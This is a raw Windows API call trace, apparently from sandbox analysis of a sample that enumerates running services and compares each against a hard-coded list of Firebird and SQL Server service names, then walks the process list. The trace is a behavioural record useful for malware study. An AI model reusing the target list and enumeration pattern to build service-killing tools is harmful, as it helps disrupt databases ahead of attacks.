EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0200.070] GetLastError () returned 0xea [0200.070] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45c3120 [0200.070] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c3120, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c3120, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0200.071] CloseServiceHandle (hSCObject=0x447b1c0) returned 1 [0200.072] lstrlenW (lpString="Appinfo") returned 7 [0200.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0200.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0200.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0200.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0200.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0200.072] lstrlenW (lpString="AppXSvc") returned 7 [0200.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0200.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0200.072] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0200.072] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0200.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0200.072] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.072] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.072] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.072] lstrlenW (lpString="Audiosrv") returned 8 [0200.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0200.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0200.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0200.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0200.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0200.072] lstrlenW (lpString="BFE") returned 3 [0200.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.073] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.073] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.073] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0200.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.073] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0200.073] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0200.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0200.073] lstrlenW (lpString="CDPSvc") returned 6 [0200.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0200.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0200.073] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0200.073] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0200.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0200.073] lstrlenW (lpString="ClickToRunSvc") returned 13 [0200.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0200.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0200.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0200.073] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0200.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.073] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0200.073] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0200.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0200.073] lstrlenW (lpString="CryptSvc") returned 8 [0200.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0200.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0200.074] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0200.074] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0200.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0200.074] lstrlenW (lpString="DcomLaunch") returned 10 [0200.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.074] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.074] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.074] lstrlenW (lpString="DeviceAssociationService") returned 24 [0200.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0200.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0200.074] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0200.074] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0200.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0200.074] lstrlenW (lpString="Dhcp") returned 4 [0200.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.074] lstrlenW (lpString="Dnscache") returned 8 [0200.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.074] lstrlenW (lpString="DPS") returned 3 [0200.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0200.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0200.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0200.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0200.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0200.075] lstrlenW (lpString="DsmSvc") returned 6 [0200.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0200.075] lstrlenW (lpString="DusmSvc") returned 7 [0200.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0200.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0200.087] lstrlenW (lpString="EventLog") returned 8 [0200.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0200.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0200.087] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0200.087] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0200.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0200.087] lstrlenW (lpString="EventSystem") returned 11 [0200.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.087] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.087] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.087] lstrlenW (lpString="FontCache") returned 9 [0200.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0200.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0200.087] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0200.087] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0200.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0200.087] lstrlenW (lpString="gpsvc") returned 5 [0200.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.087] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.087] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.087] lstrlenW (lpString="iphlpsvc") returned 8 [0200.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.088] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0200.088] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0200.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0200.088] lstrlenW (lpString="KeyIso") returned 6 [0200.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0200.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0200.088] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0200.088] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0200.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0200.088] lstrlenW (lpString="LanmanServer") returned 12 [0200.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0200.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0200.088] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0200.089] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0200.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0200.089] lstrlenW (lpString="LanmanWorkstation") returned 17 [0200.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.089] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0200.089] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0200.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0200.089] lstrlenW (lpString="lfsvc") returned 5 [0200.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0200.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0200.089] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0200.089] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0200.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0200.089] lstrlenW (lpString="lmhosts") returned 7 [0200.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.089] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.089] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.090] lstrlenW (lpString="LSM") returned 3 [0200.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0200.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0200.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0200.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0200.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0200.104] lstrlenW (lpString="MpsSvc") returned 6 [0200.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0200.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0200.104] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0200.104] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0200.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0200.104] lstrlenW (lpString="NcbService") returned 10 [0200.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0200.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0200.104] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0200.104] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0200.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0200.104] lstrlenW (lpString="netprofm") returned 8 [0200.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0200.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0200.104] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0200.104] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0200.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0200.105] lstrlenW (lpString="NgcSvc") returned 6 [0200.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0200.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0200.105] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0200.105] lstrlenW (lpString="NlaSvc") returned 6 [0200.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0200.105] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0200.105] lstrlenW (lpString="nsi") returned 3 [0200.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.105] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.105] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.105] lstrlenW (lpString="PcaSvc") returned 6 [0200.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0200.105] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0200.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0200.105] lstrlenW (lpString="PlugPlay") returned 8 [0200.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.105] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.105] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.106] lstrlenW (lpString="Power") returned 5 [0200.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.106] lstrlenW (lpString="ProfSvc") returned 7 [0200.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.106] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.106] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.106] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.106] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.106] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.106] lstrlenW (lpString="RpcSs") returned 5 [0200.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.106] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.106] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.106] lstrlenW (lpString="SamSs") returned 5 [0200.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.106] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.106] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.107] lstrlenW (lpString="Schedule") returned 8 [0200.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.107] lstrlenW (lpString="SecurityHealthService") returned 21 [0200.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0200.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0200.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0200.107] lstrlenW (lpString="SENS") returned 4 [0200.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.107] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.107] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.107] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0200.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.107] lstrlenW (lpString="Spooler") returned 7 [0200.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.108] lstrlenW (lpString="StateRepository") returned 15 [0200.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0200.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0200.108] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0200.108] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0200.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0200.108] lstrlenW (lpString="SysMain") returned 7 [0200.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0200.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0200.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0200.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0200.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0200.108] lstrlenW (lpString="SystemEventsBroker") returned 18 [0200.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0200.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0200.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0200.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0200.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0200.108] lstrlenW (lpString="Themes") returned 6 [0200.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0200.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0200.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0200.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0200.109] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45c3120 | out: hHeap=0x420000) returned 1 [0200.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0200.178] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.179] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.179] lstrlenW (lpString="System") returned 6 [0200.180] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.180] lstrlenW (lpString="smss.exe") returned 8 [0200.180] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.181] lstrlenW (lpString="csrss.exe") returned 9 [0200.181] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 